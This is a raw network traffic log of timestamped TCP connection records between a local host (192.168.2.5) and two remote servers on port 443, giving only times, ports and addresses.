Oct 26, 2024 13:49:42.872132063 CEST	49992	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.872493982 CEST	49992	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.872505903 CEST	443	49992	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.968887091 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.970467091 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.970499992 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:42.971745014 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:42.971750975 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.013911963 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.014000893 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.014050007 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.014286041 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.014308929 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.014322042 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.014328003 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.017482996 CEST	49993	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.017522097 CEST	443	49993	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.017584085 CEST	49993	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.017724991 CEST	49993	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.017730951 CEST	443	49993	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.103929996 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.104016066 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.104087114 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.104711056 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.104741096 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.111840963 CEST	49994	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.111892939 CEST	443	49994	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.111965895 CEST	49994	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.113257885 CEST	49994	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.113280058 CEST	443	49994	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.490592957 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.491090059 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.491137981 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.491544008 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.491553068 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.590878963 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.591403961 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.591435909 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.592031002 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.592036963 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.619504929 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.619585991 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.619643927 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.619780064 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.619807959 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.619824886 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.619832993 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.622793913 CEST	49995	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.622838974 CEST	443	49995	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.622978926 CEST	49995	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.623116970 CEST	49995	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.623132944 CEST	443	49995	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.626518011 CEST	443	49992	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.626924038 CEST	49992	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.626954079 CEST	443	49992	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.627347946 CEST	49992	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.627352953 CEST	443	49992	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.732745886 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.732779980 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.732830048 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.732865095 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.732892036 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.733172894 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.733187914 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.733198881 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.733203888 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.759293079 CEST	443	49993	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.760864973 CEST	49993	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.760890961 CEST	443	49993	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.762064934 CEST	49993	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.762073994 CEST	443	49993	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.762685061 CEST	443	49992	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.762768030 CEST	443	49992	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.762868881 CEST	49992	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.763070107 CEST	49992	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.763087034 CEST	443	49992	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.768930912 CEST	49996	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.768964052 CEST	443	49996	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.769038916 CEST	49996	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.769328117 CEST	49996	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.769340038 CEST	443	49996	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.771255016 CEST	49997	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.771289110 CEST	443	49997	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.771389961 CEST	49997	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.771842957 CEST	49997	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.771855116 CEST	443	49997	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.860935926 CEST	443	49994	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.892771006 CEST	443	49993	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.892849922 CEST	443	49993	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.892975092 CEST	443	49993	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.893070936 CEST	49993	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.906164885 CEST	49994	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.944482088 CEST	49994	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.944533110 CEST	443	49994	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.956990004 CEST	49994	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.957009077 CEST	443	49994	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.957813025 CEST	49993	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.957842112 CEST	443	49993	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.965367079 CEST	49998	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.965435028 CEST	443	49998	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:43.965502024 CEST	49998	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.965714931 CEST	49998	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:43.965732098 CEST	443	49998	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.087310076 CEST	443	49994	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.087404966 CEST	443	49994	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.087521076 CEST	49994	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.087965012 CEST	49994	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.087986946 CEST	443	49994	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.100291967 CEST	49999	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.100337029 CEST	443	49999	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.100439072 CEST	49999	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.100862026 CEST	49999	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.100887060 CEST	443	49999	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.356564045 CEST	443	49995	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.357214928 CEST	49995	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.357235909 CEST	443	49995	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.358170986 CEST	49995	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.358181000 CEST	443	49995	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.491209030 CEST	443	49995	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.491410017 CEST	443	49995	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.491475105 CEST	49995	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.491693020 CEST	49995	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.491693020 CEST	49995	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.491709948 CEST	443	49995	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.491729021 CEST	443	49995	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.498941898 CEST	50000	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.498971939 CEST	443	50000	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.499032974 CEST	50000	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.499310970 CEST	443	49996	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.499653101 CEST	50000	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.499669075 CEST	443	50000	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.500227928 CEST	49996	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.500252962 CEST	443	49996	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.501138926 CEST	49996	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.501147032 CEST	443	49996	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.522470951 CEST	443	49997	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.524077892 CEST	49997	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.524094105 CEST	443	49997	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.524924994 CEST	49997	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.524934053 CEST	443	49997	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.627669096 CEST	443	49996	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.627701044 CEST	443	49996	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.627743006 CEST	443	49996	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.627757072 CEST	49996	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.627804995 CEST	49996	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.628093958 CEST	49996	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.628106117 CEST	443	49996	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.628118992 CEST	49996	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.628123999 CEST	443	49996	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.634295940 CEST	50001	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.634320974 CEST	443	50001	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.634557962 CEST	50001	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.634776115 CEST	50001	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.634783983 CEST	443	50001	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.655757904 CEST	443	49997	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.655827045 CEST	443	49997	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.655879974 CEST	49997	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.656397104 CEST	49997	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.656414986 CEST	443	49997	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.656429052 CEST	49997	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.656435013 CEST	443	49997	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.660783052 CEST	50002	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.660813093 CEST	443	50002	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.660871029 CEST	50002	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.661066055 CEST	50002	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.661081076 CEST	443	50002	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.690455914 CEST	443	49998	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.691258907 CEST	49998	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.691271067 CEST	443	49998	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.692102909 CEST	49998	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.692106962 CEST	443	49998	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.820365906 CEST	443	49998	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.820430994 CEST	443	49998	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.820504904 CEST	49998	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.820694923 CEST	49998	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.820707083 CEST	443	49998	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.823470116 CEST	50003	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.823496103 CEST	443	50003	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.823770046 CEST	50003	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.823945999 CEST	443	49999	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.823952913 CEST	50003	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.823961973 CEST	443	50003	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.824415922 CEST	49999	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.824434996 CEST	443	49999	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.824805021 CEST	49999	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.824812889 CEST	443	49999	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.951853991 CEST	443	49999	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.951883078 CEST	443	49999	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.951929092 CEST	443	49999	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.951971054 CEST	49999	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.952059031 CEST	49999	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.952295065 CEST	49999	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.952295065 CEST	49999	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.952311993 CEST	443	49999	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.952322006 CEST	443	49999	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.955420017 CEST	50004	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.955447912 CEST	443	50004	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:44.955717087 CEST	50004	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.955914974 CEST	50004	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:44.955925941 CEST	443	50004	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.250559092 CEST	443	50000	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.251434088 CEST	50000	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.251451015 CEST	443	50000	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.252949953 CEST	50000	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.252955914 CEST	443	50000	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.368644953 CEST	443	50001	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.370815039 CEST	50001	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.370874882 CEST	443	50001	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.373187065 CEST	50001	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.373193026 CEST	443	50001	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.387151957 CEST	443	50000	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.387233973 CEST	443	50000	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.387403965 CEST	50000	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.387764931 CEST	50000	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.387764931 CEST	50000	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.387789011 CEST	443	50000	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.387804031 CEST	443	50000	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.391832113 CEST	443	50002	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.395598888 CEST	50002	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.395615101 CEST	443	50002	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.396573067 CEST	50002	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.396584034 CEST	443	50002	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.401061058 CEST	50005	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.401117086 CEST	443	50005	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.401314020 CEST	50005	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.402405024 CEST	50005	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.402430058 CEST	443	50005	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.500777960 CEST	443	50001	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.500845909 CEST	443	50001	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.500968933 CEST	443	50001	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.501044989 CEST	50001	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.502425909 CEST	50001	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.502443075 CEST	443	50001	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.509567022 CEST	50006	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.509601116 CEST	443	50006	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.509677887 CEST	50006	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.510536909 CEST	50006	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.510559082 CEST	443	50006	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.525312901 CEST	443	50002	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.525387049 CEST	443	50002	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.525449991 CEST	50002	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.526026964 CEST	50002	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.526026964 CEST	50002	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.526045084 CEST	443	50002	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.526056051 CEST	443	50002	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.539060116 CEST	50007	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.539102077 CEST	443	50007	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.539304018 CEST	50007	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.539915085 CEST	50007	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.539940119 CEST	443	50007	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.577980042 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:45.578022003 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:45.578128099 CEST	443	50003	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.578308105 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:45.579005003 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:45.579021931 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:45.579582930 CEST	50003	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.579605103 CEST	443	50003	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.580418110 CEST	50003	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.580424070 CEST	443	50003	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.692812920 CEST	443	50004	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.693747997 CEST	50004	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.693768978 CEST	443	50004	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.694379091 CEST	50004	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.694386005 CEST	443	50004	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.759684086 CEST	443	50003	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.759931087 CEST	443	50003	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.760143042 CEST	50003	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.773514986 CEST	50003	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.773541927 CEST	443	50003	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.780205011 CEST	50009	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.780257940 CEST	443	50009	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.780350924 CEST	50009	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.780601978 CEST	50009	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.780615091 CEST	443	50009	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.824892044 CEST	443	50004	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.825047970 CEST	443	50004	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.825108051 CEST	50004	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.825387001 CEST	50004	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.825403929 CEST	443	50004	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.825417995 CEST	50004	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.825423956 CEST	443	50004	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.829305887 CEST	50010	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.829324961 CEST	443	50010	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:45.829430103 CEST	50010	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.830940008 CEST	50010	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:45.830950975 CEST	443	50010	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.154342890 CEST	443	50005	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.155174971 CEST	50005	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.155246019 CEST	443	50005	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.155941010 CEST	50005	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.155956030 CEST	443	50005	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.262392044 CEST	443	50006	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.262922049 CEST	50006	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.262932062 CEST	443	50006	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.263370991 CEST	50006	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.263376951 CEST	443	50006	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.271389008 CEST	443	50007	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.271744013 CEST	50007	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.271760941 CEST	443	50007	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.272151947 CEST	50007	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.272161961 CEST	443	50007	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.297163963 CEST	443	50005	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.297209978 CEST	443	50005	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.297265053 CEST	443	50005	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.297318935 CEST	50005	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.297652006 CEST	50005	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.297671080 CEST	443	50005	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.297682047 CEST	50005	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.297687054 CEST	443	50005	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.300529957 CEST	50011	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.300566912 CEST	443	50011	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.300756931 CEST	50011	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.300942898 CEST	50011	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.300954103 CEST	443	50011	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.395122051 CEST	443	50006	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.395298958 CEST	443	50006	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.395514965 CEST	50006	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.395601988 CEST	50006	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.395612001 CEST	443	50006	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.395636082 CEST	50006	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.395639896 CEST	443	50006	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.398551941 CEST	50012	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.398591042 CEST	443	50012	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.398768902 CEST	50012	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.398868084 CEST	50012	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.398880959 CEST	443	50012	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.488579988 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.488641024 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:46.492602110 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:46.492614031 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.492888927 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.502516985 CEST	50008	443	192.168.2.5	52.149.20.212
